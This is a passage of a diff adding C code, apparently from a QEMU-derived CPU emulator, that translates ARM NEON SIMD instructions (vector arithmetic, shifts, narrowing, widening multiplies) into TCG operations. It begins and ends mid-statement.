+ tmp2 = neon_load_reg(tcg_ctx, rm, 1); + } + } else { + /* Elementwise. */ + tmp = neon_load_reg(tcg_ctx, rn, pass); + tmp2 = neon_load_reg(tcg_ctx, rm, pass); + } + switch (op) { + case NEON_3R_VHADD: + GEN_NEON_INTEGER_OP(hadd); + break; + case NEON_3R_VQADD: + GEN_NEON_INTEGER_OP_ENV(qadd); + break; + case NEON_3R_VRHADD: + GEN_NEON_INTEGER_OP(rhadd); + break; + case NEON_3R_LOGIC: /* Logic ops. */ + switch ((u << 2) | size) { + case 0: /* VAND */ + tcg_gen_and_i32(tcg_ctx, tmp, tmp, tmp2); + break; + case 1: /* BIC */ + tcg_gen_andc_i32(tcg_ctx, tmp, tmp, tmp2); + break; + case 2: /* VORR */ + tcg_gen_or_i32(tcg_ctx, tmp, tmp, tmp2); + break; + case 3: /* VORN */ + tcg_gen_orc_i32(tcg_ctx, tmp, tmp, tmp2); + break; + case 4: /* VEOR */ + tcg_gen_xor_i32(tcg_ctx, tmp, tmp, tmp2); + break; + case 5: /* VBSL */ + tmp3 = neon_load_reg(tcg_ctx, rd, pass); + gen_neon_bsl(s, tmp, tmp, tmp2, tmp3); + tcg_temp_free_i32(tcg_ctx, tmp3); + break; + case 6: /* VBIT */ + tmp3 = neon_load_reg(tcg_ctx, rd, pass); + gen_neon_bsl(s, tmp, tmp, tmp3, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp3); + break; + case 7: /* VBIF */ + tmp3 = neon_load_reg(tcg_ctx, rd, pass); + gen_neon_bsl(s, tmp, tmp3, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp3); + break; + } + break; + case NEON_3R_VHSUB: + GEN_NEON_INTEGER_OP(hsub); + break; + case NEON_3R_VQSUB: + GEN_NEON_INTEGER_OP_ENV(qsub); + break; + case NEON_3R_VCGT: + GEN_NEON_INTEGER_OP(cgt); + break; + case NEON_3R_VCGE: + GEN_NEON_INTEGER_OP(cge); + break; + case NEON_3R_VSHL: + GEN_NEON_INTEGER_OP(shl); + break; + case NEON_3R_VQSHL: + GEN_NEON_INTEGER_OP_ENV(qshl); + break; + case NEON_3R_VRSHL: + GEN_NEON_INTEGER_OP(rshl); + break; + case NEON_3R_VQRSHL: + GEN_NEON_INTEGER_OP_ENV(qrshl); + break; + case NEON_3R_VMAX: + GEN_NEON_INTEGER_OP(max); + break; + case NEON_3R_VMIN: + GEN_NEON_INTEGER_OP(min); + break; + case NEON_3R_VABD: + GEN_NEON_INTEGER_OP(abd); + break; + case NEON_3R_VABA: + GEN_NEON_INTEGER_OP(abd); + tcg_temp_free_i32(tcg_ctx, tmp2); + tmp2 = neon_load_reg(tcg_ctx, rd, pass); + gen_neon_add(s, size, tmp, tmp2); + break; + case NEON_3R_VADD_VSUB: + if (!u) { /* VADD */ + gen_neon_add(s, size, tmp, tmp2); + } else { /* VSUB */ + switch (size) { + case 0: gen_helper_neon_sub_u8(tcg_ctx, tmp, tmp, tmp2); break; + case 1: gen_helper_neon_sub_u16(tcg_ctx, tmp, tmp, tmp2); break; + case 2: tcg_gen_sub_i32(tcg_ctx, tmp, tmp, tmp2); break; + default: abort(); + } + } + break; + case NEON_3R_VTST_VCEQ: + if (!u) { /* VTST */ + switch (size) { + case 0: gen_helper_neon_tst_u8(tcg_ctx, tmp, tmp, tmp2); break; + case 1: gen_helper_neon_tst_u16(tcg_ctx, tmp, tmp, tmp2); break; + case 2: gen_helper_neon_tst_u32(tcg_ctx, tmp, tmp, tmp2); break; + default: abort(); + } + } else { /* VCEQ */ + switch (size) { + case 0: gen_helper_neon_ceq_u8(tcg_ctx, tmp, tmp, tmp2); break; + case 1: gen_helper_neon_ceq_u16(tcg_ctx, tmp, tmp, tmp2); break; + case 2: gen_helper_neon_ceq_u32(tcg_ctx, tmp, tmp, tmp2); break; + default: abort(); + } + } + break; + case NEON_3R_VML: /* VMLA, VMLAL, VMLS,VMLSL */ + switch (size) { + case 0: gen_helper_neon_mul_u8(tcg_ctx, tmp, tmp, tmp2); break; + case 1: gen_helper_neon_mul_u16(tcg_ctx, tmp, tmp, tmp2); break; + case 2: tcg_gen_mul_i32(tcg_ctx, tmp, tmp, tmp2); break; + default: abort(); + } + tcg_temp_free_i32(tcg_ctx, tmp2); + tmp2 = neon_load_reg(tcg_ctx, rd, pass); + if (u) { /* VMLS */ + gen_neon_rsb(s, size, tmp, tmp2); + } else { /* VMLA */ + gen_neon_add(s, size, tmp, tmp2); + } + break; + case NEON_3R_VMUL: + if (u) { /* polynomial */ + gen_helper_neon_mul_p8(tcg_ctx, tmp, tmp, tmp2); + } else { /* Integer */ + switch (size) { + case 0: gen_helper_neon_mul_u8(tcg_ctx, tmp, tmp, tmp2); break; + case 1: gen_helper_neon_mul_u16(tcg_ctx, tmp, tmp, tmp2); break; + case 2: tcg_gen_mul_i32(tcg_ctx, tmp, tmp, tmp2); break; + default: abort(); + } + } + break; + case NEON_3R_VPMAX: + GEN_NEON_INTEGER_OP(pmax); + break; + case NEON_3R_VPMIN: + GEN_NEON_INTEGER_OP(pmin); + break; + case NEON_3R_VQDMULH_VQRDMULH: /* Multiply high. */ + if (!u) { /* VQDMULH */ + switch (size) { + case 1: + gen_helper_neon_qdmulh_s16(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + break; + case 2: + gen_helper_neon_qdmulh_s32(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + break; + default: abort(); + } + } else { /* VQRDMULH */ + switch (size) { + case 1: + gen_helper_neon_qrdmulh_s16(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + break; + case 2: + gen_helper_neon_qrdmulh_s32(tcg_ctx, tmp, tcg_ctx->cpu_env, tmp, tmp2); + break; + default: abort(); + } + } + break; + case NEON_3R_VPADD: + switch (size) { + case 0: gen_helper_neon_padd_u8(tcg_ctx, tmp, tmp, tmp2); break; + case 1: gen_helper_neon_padd_u16(tcg_ctx, tmp, tmp, tmp2); break; + case 2: tcg_gen_add_i32(tcg_ctx, tmp, tmp, tmp2); break; + default: abort(); + } + break; + case NEON_3R_FLOAT_ARITH: /* Floating point arithmetic. */ + { + TCGv_ptr fpstatus = get_fpstatus_ptr(s, 1); + switch ((u << 2) | size) { + case 0: /* VADD */ + case 4: /* VPADD */ + gen_helper_vfp_adds(tcg_ctx, tmp, tmp, tmp2, fpstatus); + break; + case 2: /* VSUB */ + gen_helper_vfp_subs(tcg_ctx, tmp, tmp, tmp2, fpstatus); + break; + case 6: /* VABD */ + gen_helper_neon_abd_f32(tcg_ctx, tmp, tmp, tmp2, fpstatus); + break; + default: + abort(); + } + tcg_temp_free_ptr(tcg_ctx, fpstatus); + break; + } + case NEON_3R_FLOAT_MULTIPLY: + { + TCGv_ptr fpstatus = get_fpstatus_ptr(s, 1); + gen_helper_vfp_muls(tcg_ctx, tmp, tmp, tmp2, fpstatus); + if (!u) { + tcg_temp_free_i32(tcg_ctx, tmp2); + tmp2 = neon_load_reg(tcg_ctx, rd, pass); + if (size == 0) { + gen_helper_vfp_adds(tcg_ctx, tmp, tmp, tmp2, fpstatus); + } else { + gen_helper_vfp_subs(tcg_ctx, tmp, tmp2, tmp, fpstatus); + } + } + tcg_temp_free_ptr(tcg_ctx, fpstatus); + break; + } + case NEON_3R_FLOAT_CMP: + { + TCGv_ptr fpstatus = get_fpstatus_ptr(s, 1); + if (!u) { + gen_helper_neon_ceq_f32(tcg_ctx, tmp, tmp, tmp2, fpstatus); + } else { + if (size == 0) { + gen_helper_neon_cge_f32(tcg_ctx, tmp, tmp, tmp2, fpstatus); + } else { + gen_helper_neon_cgt_f32(tcg_ctx, tmp, tmp, tmp2, fpstatus); + } + } + tcg_temp_free_ptr(tcg_ctx, fpstatus); + break; + } + case NEON_3R_FLOAT_ACMP: + { + TCGv_ptr fpstatus = get_fpstatus_ptr(s, 1); + if (size == 0) { + gen_helper_neon_acge_f32(tcg_ctx, tmp, tmp, tmp2, fpstatus); + } else { + gen_helper_neon_acgt_f32(tcg_ctx, tmp, tmp, tmp2, fpstatus); + } + tcg_temp_free_ptr(tcg_ctx, fpstatus); + break; + } + case NEON_3R_FLOAT_MINMAX: + { + TCGv_ptr fpstatus = get_fpstatus_ptr(s, 1); + if (size == 0) { + gen_helper_vfp_maxs(tcg_ctx, tmp, tmp, tmp2, fpstatus); + } else { + gen_helper_vfp_mins(tcg_ctx, tmp, tmp, tmp2, fpstatus); + } + tcg_temp_free_ptr(tcg_ctx, fpstatus); + break; + } + case NEON_3R_FLOAT_MISC: + if (u) { + /* VMAXNM/VMINNM */ + TCGv_ptr fpstatus = get_fpstatus_ptr(s, 1); + if (size == 0) { + gen_helper_vfp_maxnums(tcg_ctx, tmp, tmp, tmp2, fpstatus); + } else { + gen_helper_vfp_minnums(tcg_ctx, tmp, tmp, tmp2, fpstatus); + } + tcg_temp_free_ptr(tcg_ctx, fpstatus); + } else { + if (size == 0) { + gen_helper_recps_f32(tcg_ctx, tmp, tmp, tmp2, tcg_ctx->cpu_env); + } else { + gen_helper_rsqrts_f32(tcg_ctx, tmp, tmp, tmp2, tcg_ctx->cpu_env); + } + } + break; + case NEON_3R_VFM: + { + /* VFMA, VFMS: fused multiply-add */ + TCGv_ptr fpstatus = get_fpstatus_ptr(s, 1); + TCGv_i32 tmp3 = neon_load_reg(tcg_ctx, rd, pass); + if (size) { + /* VFMS */ + gen_helper_vfp_negs(tcg_ctx, tmp, tmp); + } + gen_helper_vfp_muladds(tcg_ctx, tmp, tmp, tmp2, tmp3, fpstatus); + tcg_temp_free_i32(tcg_ctx, tmp3); + tcg_temp_free_ptr(tcg_ctx, fpstatus); + break; + } + default: + abort(); + } + tcg_temp_free_i32(tcg_ctx, tmp2); + + /* Save the result. For elementwise operations we can put it + straight into the destination register. For pairwise operations + we have to be careful to avoid clobbering the source operands. */ + if (pairwise && rd == rm) { + neon_store_scratch(tcg_ctx, pass, tmp); + } else { + neon_store_reg(tcg_ctx, rd, pass, tmp); + } + + } /* for pass */ + if (pairwise && rd == rm) { + for (pass = 0; pass < (q ? 4 : 2); pass++) { + tmp = neon_load_scratch(tcg_ctx, pass); + neon_store_reg(tcg_ctx, rd, pass, tmp); + } + } + /* End of 3 register same size operations. */ + } else if (insn & (1 << 4)) { + if ((insn & 0x00380080) != 0) { + /* Two registers and shift. */ + op = (insn >> 8) & 0xf; + if (insn & (1 << 7)) { + /* 64-bit shift. */ + if (op > 7) { + return 1; + } + size = 3; + } else { + size = 2; + while ((insn & (1 << (size + 19))) == 0) + size--; + } + shift = (insn >> 16) & ((1 << (3 + size)) - 1); + /* To avoid excessive duplication of ops we implement shift + by immediate using the variable shift operations. */ + if (op < 8) { + /* Shift by immediate: + VSHR, VSRA, VRSHR, VRSRA, VSRI, VSHL, VQSHL, VQSHLU. */ + if (q && ((rd | rm) & 1)) { + return 1; + } + if (!u && (op == 4 || op == 6)) { + return 1; + } + /* Right shifts are encoded as N - shift, where N is the + element size in bits. */ + if (op <= 4) + shift = shift - (1 << (size + 3)); + if (size == 3) { + count = q + 1; + } else { + count = q ? 4: 2; + } + switch (size) { + case 0: + imm = (uint8_t) shift; + imm |= imm << 8; + imm |= imm << 16; + break; + case 1: + imm = (uint16_t) shift; + imm |= imm << 16; + break; + case 2: + case 3: + imm = shift; + break; + default: + abort(); + } + + for (pass = 0; pass < count; pass++) { + if (size == 3) { + neon_load_reg64(tcg_ctx, tcg_ctx->cpu_V0, rm + pass); + tcg_gen_movi_i64(tcg_ctx, tcg_ctx->cpu_V1, imm); + switch (op) { + case 0: /* VSHR */ + case 1: /* VSRA */ + if (u) + gen_helper_neon_shl_u64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_V0, tcg_ctx->cpu_V1); + else + gen_helper_neon_shl_s64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_V0, tcg_ctx->cpu_V1); + break; + case 2: /* VRSHR */ + case 3: /* VRSRA */ + if (u) + gen_helper_neon_rshl_u64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_V0, tcg_ctx->cpu_V1); + else + gen_helper_neon_rshl_s64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_V0, tcg_ctx->cpu_V1); + break; + case 4: /* VSRI */ + case 5: /* VSHL, VSLI */ + gen_helper_neon_shl_u64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_V0, tcg_ctx->cpu_V1); + break; + case 6: /* VQSHLU */ + gen_helper_neon_qshlu_s64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_env, + tcg_ctx->cpu_V0, tcg_ctx->cpu_V1); + break; + case 7: /* VQSHL */ + if (u) { + gen_helper_neon_qshl_u64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_env, + tcg_ctx->cpu_V0, tcg_ctx->cpu_V1); + } else { + gen_helper_neon_qshl_s64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_env, + tcg_ctx->cpu_V0, tcg_ctx->cpu_V1); + } + break; + } + if (op == 1 || op == 3) { + /* Accumulate. */ + neon_load_reg64(tcg_ctx, tcg_ctx->cpu_V1, rd + pass); + tcg_gen_add_i64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_V0, tcg_ctx->cpu_V1); + } else if (op == 4 || (op == 5 && u)) { + /* Insert */ + uint64_t mask; + neon_load_reg64(tcg_ctx, tcg_ctx->cpu_V1, rd + pass); + if (shift < -63 || shift > 63) { + mask = 0; + } else { + if (op == 4) { + mask = 0xffffffffffffffffull >> -shift; + } else { + mask = 0xffffffffffffffffull << shift; + } + } + tcg_gen_andi_i64(tcg_ctx, tcg_ctx->cpu_V1, tcg_ctx->cpu_V1, ~mask); + tcg_gen_or_i64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_V0, tcg_ctx->cpu_V1); + } + neon_store_reg64(tcg_ctx, tcg_ctx->cpu_V0, rd + pass); + } else { /* size < 3 */ + /* Operands in T0 and T1. */ + tmp = neon_load_reg(tcg_ctx, rm, pass); + tmp2 = tcg_temp_new_i32(tcg_ctx); + tcg_gen_movi_i32(tcg_ctx, tmp2, imm); + switch (op) { + case 0: /* VSHR */ + case 1: /* VSRA */ + GEN_NEON_INTEGER_OP(shl); + break; + case 2: /* VRSHR */ + case 3: /* VRSRA */ + GEN_NEON_INTEGER_OP(rshl); + break; + case 4: /* VSRI */ + case 5: /* VSHL, VSLI */ + switch (size) { + case 0: gen_helper_neon_shl_u8(tcg_ctx, tmp, tmp, tmp2); break; + case 1: gen_helper_neon_shl_u16(tcg_ctx, tmp, tmp, tmp2); break; + case 2: gen_helper_neon_shl_u32(tcg_ctx, tmp, tmp, tmp2); break; + default: abort(); + } + break; + case 6: /* VQSHLU */ + switch (size) { + case 0: + gen_helper_neon_qshlu_s8(tcg_ctx, tmp, tcg_ctx->cpu_env, + tmp, tmp2); + break; + case 1: + gen_helper_neon_qshlu_s16(tcg_ctx, tmp, tcg_ctx->cpu_env, + tmp, tmp2); + break; + case 2: + gen_helper_neon_qshlu_s32(tcg_ctx, tmp, tcg_ctx->cpu_env, + tmp, tmp2); + break; + default: + abort(); + } + break; + case 7: /* VQSHL */ + GEN_NEON_INTEGER_OP_ENV(qshl); + break; + } + tcg_temp_free_i32(tcg_ctx, tmp2); + + if (op == 1 || op == 3) { + /* Accumulate. */ + tmp2 = neon_load_reg(tcg_ctx, rd, pass); + gen_neon_add(s, size, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + } else if (op == 4 || (op == 5 && u)) { + /* Insert */ + switch (size) { + case 0: + if (op == 4) + mask = 0xff >> -shift; + else + mask = (uint8_t)(0xff << shift); + mask |= mask << 8; + mask |= mask << 16; + break; + case 1: + if (op == 4) + mask = 0xffff >> -shift; + else + mask = (uint16_t)(0xffff << shift); + mask |= mask << 16; + break; + case 2: + if (shift < -31 || shift > 31) { + mask = 0; + } else { + if (op == 4) + mask = 0xffffffffu >> -shift; + else + mask = 0xffffffffu << shift; + } + break; + default: + abort(); + } + tmp2 = neon_load_reg(tcg_ctx, rd, pass); + tcg_gen_andi_i32(tcg_ctx, tmp, tmp, mask); + tcg_gen_andi_i32(tcg_ctx, tmp2, tmp2, ~mask); + tcg_gen_or_i32(tcg_ctx, tmp, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + } + neon_store_reg(tcg_ctx, rd, pass, tmp); + } + } /* for pass */ + } else if (op < 10) { + /* Shift by immediate and narrow: + VSHRN, VRSHRN, VQSHRN, VQRSHRN. */ + int input_unsigned = (op == 8) ? !u : u; + if (rm & 1) { + return 1; + } + shift = shift - (1 << (size + 3)); + size++; + if (size == 3) { + tmp64 = tcg_const_i64(tcg_ctx, shift); + neon_load_reg64(tcg_ctx, tcg_ctx->cpu_V0, rm); + neon_load_reg64(tcg_ctx, tcg_ctx->cpu_V1, rm + 1); + for (pass = 0; pass < 2; pass++) { + TCGv_i64 in; + if (pass == 0) { + in = tcg_ctx->cpu_V0; + } else { + in = tcg_ctx->cpu_V1; + } + if (q) { + if (input_unsigned) { + gen_helper_neon_rshl_u64(tcg_ctx, tcg_ctx->cpu_V0, in, tmp64); + } else { + gen_helper_neon_rshl_s64(tcg_ctx, tcg_ctx->cpu_V0, in, tmp64); + } + } else { + if (input_unsigned) { + gen_helper_neon_shl_u64(tcg_ctx, tcg_ctx->cpu_V0, in, tmp64); + } else { + gen_helper_neon_shl_s64(tcg_ctx, tcg_ctx->cpu_V0, in, tmp64); + } + } + tmp = tcg_temp_new_i32(tcg_ctx); + gen_neon_narrow_op(s, op == 8, u, size - 1, tmp, tcg_ctx->cpu_V0); + neon_store_reg(tcg_ctx, rd, pass, tmp); + } /* for pass */ + tcg_temp_free_i64(tcg_ctx, tmp64); + } else { + if (size == 1) { + imm = (uint16_t)shift; + imm |= imm << 16; + } else { + /* size == 2 */ + imm = (uint32_t)shift; + } + tmp2 = tcg_const_i32(tcg_ctx, imm); + tmp4 = neon_load_reg(tcg_ctx, rm + 1, 0); + tmp5 = neon_load_reg(tcg_ctx, rm + 1, 1); + for (pass = 0; pass < 2; pass++) { + if (pass == 0) { + tmp = neon_load_reg(tcg_ctx, rm, 0); + } else { + tmp = tmp4; + } + gen_neon_shift_narrow(s, size, tmp, tmp2, q, + input_unsigned); + if (pass == 0) { + tmp3 = neon_load_reg(tcg_ctx, rm, 1); + } else { + tmp3 = tmp5; + } + gen_neon_shift_narrow(s, size, tmp3, tmp2, q, + input_unsigned); + tcg_gen_concat_i32_i64(tcg_ctx, tcg_ctx->cpu_V0, tmp, tmp3); + tcg_temp_free_i32(tcg_ctx, tmp); + tcg_temp_free_i32(tcg_ctx, tmp3); + tmp = tcg_temp_new_i32(tcg_ctx); + gen_neon_narrow_op(s, op == 8, u, size - 1, tmp, tcg_ctx->cpu_V0); + neon_store_reg(tcg_ctx, rd, pass, tmp); + } /* for pass */ + tcg_temp_free_i32(tcg_ctx, tmp2); + } + } else if (op == 10) { + /* VSHLL, VMOVL */ + if (q || (rd & 1)) { + return 1; + } + tmp = neon_load_reg(tcg_ctx, rm, 0); + tmp2 = neon_load_reg(tcg_ctx, rm, 1); + for (pass = 0; pass < 2; pass++) { + if (pass == 1) + tmp = tmp2; + + gen_neon_widen(s, tcg_ctx->cpu_V0, tmp, size, u); + + if (shift != 0) { + /* The shift is less than the width of the source + type, so we can just shift the whole register. */ + tcg_gen_shli_i64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_V0, shift); + /* Widen the result of shift: we need to clear + * the potential overflow bits resulting from + * left bits of the narrow input appearing as + * right bits of left the neighbour narrow + * input. */ + if (size < 2 || !u) { + uint64_t imm64; + if (size == 0) { + imm = (0xffu >> (8 - shift)); + imm |= imm << 16; + } else if (size == 1) { + imm = 0xffff >> (16 - shift); + } else { + /* size == 2 */ + imm = 0xffffffff >> (32 - shift); + } + if (size < 2) { + imm64 = imm | (((uint64_t)imm) << 32); + } else { + imm64 = imm; + } + tcg_gen_andi_i64(tcg_ctx, tcg_ctx->cpu_V0, tcg_ctx->cpu_V0, ~imm64); + } + } + neon_store_reg64(tcg_ctx, tcg_ctx->cpu_V0, rd + pass); + } + } else if (op >= 14) { + /* VCVT fixed-point. */ + if (!(insn & (1 << 21)) || (q && ((rd | rm) & 1))) { + return 1; + } + /* We have already masked out the must-be-1 top bit of imm6, + * hence this 32-shift where the ARM ARM has 64-imm6. + */ + shift = 32 - shift; + for (pass = 0; pass < (q ? 4 : 2); pass++) { + tcg_gen_ld_f32(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_env, neon_reg_offset(rm, pass)); + if (!(op & 1)) { + if (u) + gen_vfp_ulto(s, 0, shift, 1); + else + gen_vfp_slto(s, 0, shift, 1); + } else { + if (u) + gen_vfp_toul(s, 0, shift, 1); + else + gen_vfp_tosl(s, 0, shift, 1); + } + tcg_gen_st_f32(tcg_ctx, tcg_ctx->cpu_F0s, tcg_ctx->cpu_env, neon_reg_offset(rd, pass)); + } + } else { + return 1; + } + } else { /* (insn & 0x00380080) == 0 */ + int invert; + if (q && (rd & 1)) { + return 1; + } + + op = (insn >> 8) & 0xf; + /* One register and immediate. */ + imm = (u << 7) | ((insn >> 12) & 0x70) | (insn & 0xf); + invert = (insn & (1 << 5)) != 0; + /* Note that op = 2,3,4,5,6,7,10,11,12,13 imm=0 is UNPREDICTABLE. + * We choose to not special-case this and will behave as if a + * valid constant encoding of 0 had been given. + */ + switch (op) { + case 0: case 1: + /* no-op */ + break; + case 2: case 3: + imm <<= 8; + break; + case 4: case 5: + imm <<= 16; + break; + case 6: case 7: + imm <<= 24; + break; + case 8: case 9: + imm |= imm << 16; + break; + case 10: case 11: + imm = (imm << 8) | (imm << 24); + break; + case 12: + imm = (imm << 8) | 0xff; + break; + case 13: + imm = (imm << 16) | 0xffff; + break; + case 14: + imm |= (imm << 8) | (imm << 16) | (imm << 24); + if (invert) + imm = ~imm; + break; + case 15: + if (invert) { + return 1; + } + imm = ((imm & 0x80) << 24) | ((imm & 0x3f) << 19) + | ((imm & 0x40) ? (0x1f << 25) : (1 << 30)); + break; + } + if (invert) + imm = ~imm; + + for (pass = 0; pass < (q ? 4 : 2); pass++) { + if (op & 1 && op < 12) { + tmp = neon_load_reg(tcg_ctx, rd, pass); + if (invert) { + /* The immediate value has already been inverted, so + BIC becomes AND. */ + tcg_gen_andi_i32(tcg_ctx, tmp, tmp, imm); + } else { + tcg_gen_ori_i32(tcg_ctx, tmp, tmp, imm); + } + } else { + /* VMOV, VMVN. */ + tmp = tcg_temp_new_i32(tcg_ctx); + if (op == 14 && invert) { + int n; + uint32_t val; + val = 0; + for (n = 0; n < 4; n++) { + if (imm & (1 << (n + (pass & 1) * 4))) + val |= 0xffU << (n * 8); + } + tcg_gen_movi_i32(tcg_ctx, tmp, val); + } else { + tcg_gen_movi_i32(tcg_ctx, tmp, imm); + } + } + neon_store_reg(tcg_ctx, rd, pass, tmp); + } + } + } else { /* (insn & 0x00800010 == 0x00800000) */ + if (size != 3) { + op = (insn >> 8) & 0xf; + if ((insn & (1 << 6)) == 0) { + /* Three registers of different lengths. */ + int src1_wide; + int src2_wide; + int prewiden; + /* undefreq: bit 0 : UNDEF if size == 0 + * bit 1 : UNDEF if size == 1 + * bit 2 : UNDEF if size == 2 + * bit 3 : UNDEF if U == 1 + * Note that [2:0] set implies 'always UNDEF' + */ + int undefreq; + /* prewiden, src1_wide, src2_wide, undefreq */ + static const int neon_3reg_wide[16][4] = { + {1, 0, 0, 0}, /* VADDL */ + {1, 1, 0, 0}, /* VADDW */ + {1, 0, 0, 0}, /* VSUBL */ + {1, 1, 0, 0}, /* VSUBW */ + {0, 1, 1, 0}, /* VADDHN */ + {0, 0, 0, 0}, /* VABAL */ + {0, 1, 1, 0}, /* VSUBHN */ + {0, 0, 0, 0}, /* VABDL */ + {0, 0, 0, 0}, /* VMLAL */ + {0, 0, 0, 9}, /* VQDMLAL */ + {0, 0, 0, 0}, /* VMLSL */ + {0, 0, 0, 9}, /* VQDMLSL */ + {0, 0, 0, 0}, /* Integer VMULL */ + {0, 0, 0, 1}, /* VQDMULL */ + {0, 0, 0, 0xa}, /* Polynomial VMULL */ + {0, 0, 0, 7}, /* Reserved: always UNDEF */ + }; + + prewiden = neon_3reg_wide[op][0]; + src1_wide = neon_3reg_wide[op][1]; + src2_wide = neon_3reg_wide[op][2]; + undefreq = neon_3reg_wide[op][3]; + + if ((undefreq & (1 << size)) || + ((undefreq & 8) && u)) { + return 1; + } + if ((src1_wide && (rn & 1)) || + (src2_wide && (rm & 1)) || + (!src2_wide && (rd & 1))) { + return 1; + } + + /* Handle VMULL.P64 (Polynomial 64x64 to 128 bit multiply) + * outside the loop below as it only performs a single pass. + */ + if (op == 14 && size == 2) { + TCGv_i64 tcg_rn, tcg_rm, tcg_rd; + + if (!arm_dc_feature(s, ARM_FEATURE_V8_PMULL)) { + return 1; + } + tcg_rn = tcg_temp_new_i64(tcg_ctx); + tcg_rm = tcg_temp_new_i64(tcg_ctx); + tcg_rd = tcg_temp_new_i64(tcg_ctx); + neon_load_reg64(tcg_ctx, tcg_rn, rn); + neon_load_reg64(tcg_ctx, tcg_rm, rm); + gen_helper_neon_pmull_64_lo(tcg_ctx, tcg_rd, tcg_rn, tcg_rm); + neon_store_reg64(tcg_ctx, tcg_rd, rd); + gen_helper_neon_pmull_64_hi(tcg_ctx, tcg_rd, tcg_rn, tcg_rm); + neon_store_reg64(tcg_ctx, tcg_rd, rd + 1); + tcg_temp_free_i64(tcg_ctx, tcg_rn); + tcg_temp_free_i64(tcg_ctx, tcg_rm); + tcg_temp_free_i64(tcg_ctx, tcg_rd); + return 0; + } + + /* Avoid overlapping operands. Wide source operands are + always aligned so will never overlap with wide + destinations in problematic ways. */ + if (rd == rm && !src2_wide) { + tmp = neon_load_reg(tcg_ctx, rm, 1); + neon_store_scratch(tcg_ctx, 2, tmp); + } else if (rd == rn && !src1_wide) { + tmp = neon_load_reg(tcg_ctx, rn, 1); + neon_store_scratch(tcg_ctx, 2, tmp); + } + TCGV_UNUSED_I32(tmp3); + for (pass = 0; pass < 2; pass++) { + if (src1_wide) { + neon_load_reg64(tcg_ctx, tcg_ctx->cpu_V0, rn + pass); + TCGV_UNUSED_I32(tmp); + } else { + if (pass == 1 && rd == rn) { + tmp = neon_load_scratch(tcg_ctx, 2); + } else { + tmp = neon_load_reg(tcg_ctx, rn, pass); + } + if (prewiden) { + gen_neon_widen(s, tcg_ctx->cpu_V0, tmp, size, u); + } + } + if (src2_wide) { + neon_load_reg64(tcg_ctx, tcg_ctx->cpu_V1, rm + pass); + TCGV_UNUSED_I32(tmp2); + } else { + if (pass == 1 && rd == rm) { + tmp2 = neon_load_scratch(tcg_ctx, 2); + } else { + tmp2 = neon_load_reg(tcg_ctx, rm, pass); + } + if (prewiden) { + gen_neon_widen(s, tcg_ctx->cpu_V1, tmp2, size, u); + } + } + switch (op) { + case 0: case 1: case 4: /* VADDL, VADDW, VADDHN, VRADDHN */ + gen_neon_addl(s, size); + break; + case 2: case 3: case 6: /* VSUBL, VSUBW, VSUBHN, VRSUBHN */ + gen_neon_subl(s, size); + break; + case 5: case 7: /* VABAL, VABDL */ + switch ((size << 1) | u) { + case 0: + gen_helper_neon_abdl_s16(tcg_ctx, tcg_ctx->cpu_V0, tmp, tmp2); + break; + case 1: + gen_helper_neon_abdl_u16(tcg_ctx, tcg_ctx->cpu_V0, tmp, tmp2); + break; + case 2: + gen_helper_neon_abdl_s32(tcg_ctx, tcg_ctx->cpu_V0, tmp, tmp2); + break; + case 3: + gen_helper_neon_abdl_u32(tcg_ctx, tcg_ctx->cpu_V0, tmp, tmp2); + break; + case 4: + gen_helper_neon_abdl_s64(tcg_ctx, tcg_ctx->cpu_V0, tmp, tmp2); + break; + case 5: + gen_helper_neon_abdl_u64(tcg_ctx, tcg_ctx->cpu_V0, tmp, tmp2); + break; + default: abort(); + } + tcg_temp_free_i32(tcg_ctx, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp); + break; + case 8: case 9: case 10: case 11: case 12: case 13: + /* VMLAL, VQDMLAL, VMLSL, VQDMLSL, VMULL, VQDMULL */ + gen_neon_mull(s, tcg_ctx->cpu_V0, tmp, tmp2, size, u); + break; + case 14: /* Polynomial VMULL */ + gen_helper_neon_mull_p8(tcg_ctx, tcg_ctx->cpu_V0, tmp, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp2); + tcg_temp_free_i32(tcg_ctx, tmp); + break; + default: /* 15 is RESERVED: caught earlier */ + abort(); + } + if (op == 13) { + /* VQDMULL */ + gen_neon_addl_saturate(s, tcg_ctx->cpu_V0, tcg_ctx->cpu_V0, size); + neon_store_reg64(tcg_ctx, tcg_ctx->cpu_V0, rd + pass); + } else if (op == 5 || (op >= 8 && op <= 11)) { + /* Accumulate. */ + neon_load_reg64(tcg_ctx, tcg_ctx->cpu_V1, rd + pass); + switch (op) { + case 10: /* VMLSL */ + gen_neon_negl(s, tcg_ctx->cpu_V0, size); + /* Fall through */ + case 5: case 8: /* VABAL, VMLAL */ + gen_neon_addl(s, size); + break; + case 9: case 11: /* VQDMLAL, VQDMLSL */ + gen_neon_addl_saturate(s, tcg_ctx->cpu_V0, tcg_ctx->cpu_V0, size); + if (op == 11) { + gen_neon_negl(s, tcg_ctx->cpu_V0, size); + } + gen_neon_addl_saturate(s, tcg_ctx->cpu_V0, tcg_ctx->cpu_V1, size); + break; + default: + abort(); + } + neon_store_reg64(tcg_ctx, tcg_ctx->cpu_V0, rd + pass); + } else if (op == 4 || op == 6) { + /* Narrowing operation. */ + tmp = 